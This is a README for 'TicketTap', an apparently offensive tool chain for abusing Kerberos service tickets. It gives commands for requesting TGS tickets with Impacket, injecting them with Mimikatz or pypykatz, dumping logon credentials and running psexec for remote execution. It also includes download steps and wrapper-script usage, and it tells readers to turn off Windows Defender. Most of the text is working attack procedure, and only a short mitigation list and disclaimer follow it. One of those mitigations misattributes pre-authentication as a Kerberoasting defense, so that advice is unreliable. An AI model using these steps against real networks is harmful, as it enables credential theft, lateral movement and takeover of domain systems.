TicketTap: Remote Code Execution, Lateral Movement, Authentication Bypass, and Privilege Escalation via Kerberos TGS Exploitation
TicketTap is a multi-faceted vulnerability exploitation chain leveraging Kerberos TGS (Ticket Granting Service) tickets to achieve Remote Code Execution (RCE), Lateral Movement, Authentication Bypass, and Privilege Escalation within a networked environment. This exploit allows attackers to bypass authentication, escalate privileges, and execute arbitrary commands remotely by injecting Kerberos TGS tickets into memory.
- Overview
- Exploitation Chain Summary
- Detailed Steps for TicketTap
- Running the Provided Scripts
- Setting Up the Environment
- Mitigation Strategies
- Tools Used
- Disclaimer
The TicketTap exploitation chain follows these key steps:
- Obtain a TGS Ticket using SPN querying.
- Inject the TGS into the current session using Mimikatz or pypykatz (Pass-the-Ticket).
- Authenticate to target services such as RDP or SMB.
- Escalate Privileges to a highly privileged account.
- Execute Remote Code using PsExec or other tools to gain control of the target machine.
You can extract TGS tickets for service accounts using Impacket's GetUserSPNs.py:
python3 GetUserSPNs.py <domain>/<username>:<password> -requestThis will output the
Inject the TGS ticket using Mimikatz or pypykatz.
mimikatz# kerberos::ptt <path_to_tgs.kirbi>python3 pypykatz kerberos ptt <path_to_tgs.kirbi>mstsc /v:<target-ip>rdesktop <target-ip>Leverage tools like Mimikatz to extract further credentials and escalate privileges:
mimikatz# sekurlsa::logonpasswordsUse PsExec to run commands on the target machine.
python3 psexec.py <username>@<domain> -k -no-pass <target-ip>To use the Bash script with pypykatz for macOS/Linux, follow the instructions below:
./tickettap.sh -u Username -t /path/to/TGS.kirbi -m /path/to/pypykatz -ip <ip addr>- This injects the TGS for user
Usernameand attempts an RDP connection to the target IP. - If you want to use PsExec, provide the
-psexec,-d, and-puflags as well.
-u: Username for the TGS.-t: Path to the.kirbifile.-m: Path to pypykatz.-ip: Target IP for RDP.-psexec: Path to Impacket'spsexec.py.-d: Domain name for PsExec.-pu: Username for PsExec.
For Windows, use the PowerShell script to inject a TGS and attempt an RDP connection or PsExec.
.\tickettap.ps1 /u Username /t C:\path\to\TGS.kirbi /m C:\path\to\mimikatz.exe /ip <ip addr>- Injects the TGS and attempts to establish an RDP connection.
- For PsExec, provide
/psexec,/domain, and/psexecUser.
Here are setup commands to create the necessary directories, download scripts, and clone dependencies for macOS/Linux and Windows.
-
Create a directory and download scripts:
mkdir TicketTap && cd TicketTap curl -O https://raw.githubusercontent.com/jleuth/TicketTap/refs/heads/main/tickettap.sh > tickettap.sh
-
Clone dependencies:
curl -O https://raw.githubusercontent.com/fortra/impacket/refs/heads/master/examples/GetUserSPNs.py > GetUserSPNs.py pip3 install pypykatzOptionally, psexec.py to substitute for RDP
curl -O https://raw.githubusercontent.com/fortra/impacket/refs/heads/master/examples/psexec.py > psexec.py
-
Create a directory and download scripts:
mkdir TicketTap && cd TicketTap curl -O https://raw.githubusercontent.com/jleuth/TicketTap/refs/heads/main/tickettap.ps1 > tickettap.ps1
-
Clone dependencies:
curl -O https://raw.githubusercontent.com/fortra/impacket/refs/heads/master/examples/GetUserSPNs.py > GetUserSPNs.py git clone https://github.com/ParrotSec/mimikatz.git
Optionally, psexec.py to substitute for RDP
curl -O https://raw.githubusercontent.com/fortra/impacket/refs/heads/master/examples/psexec.py > psexec.py -
Build Mimikatz: Annoyingly, Microsoft HATES Mimikatz, and Windows Defender goes fucking NUTS if you dare even download it. Mimikatz is safe, and FOSS so there's nothing to fear. TEMPORARILY disable Real Time Protection in Defender settings, do what you need to do with Mimikatz, then TURN IT BACK ON! Windows Defender is ass, but it's better than nothing.
To protect against TicketTap, consider the following mitigations:
- Enable Kerberos pre-authentication to prevent Kerberoasting.
- Limit service account privileges and audit access control.
- Monitor Kerberos authentication logs for anomalies.
- Patch Kerberos-related vulnerabilities to minimize the risk of exploitation.
- Mimikatz: Extract and inject Kerberos tickets.
- pypykatz: Python-based Kerberos manipulation (macOS/Linux).
- Impacket: Tools for querying SPNs, executing PsExec, etc.
This repository is for educational purposes only. Unauthorized use of these techniques on systems without permission is illegal.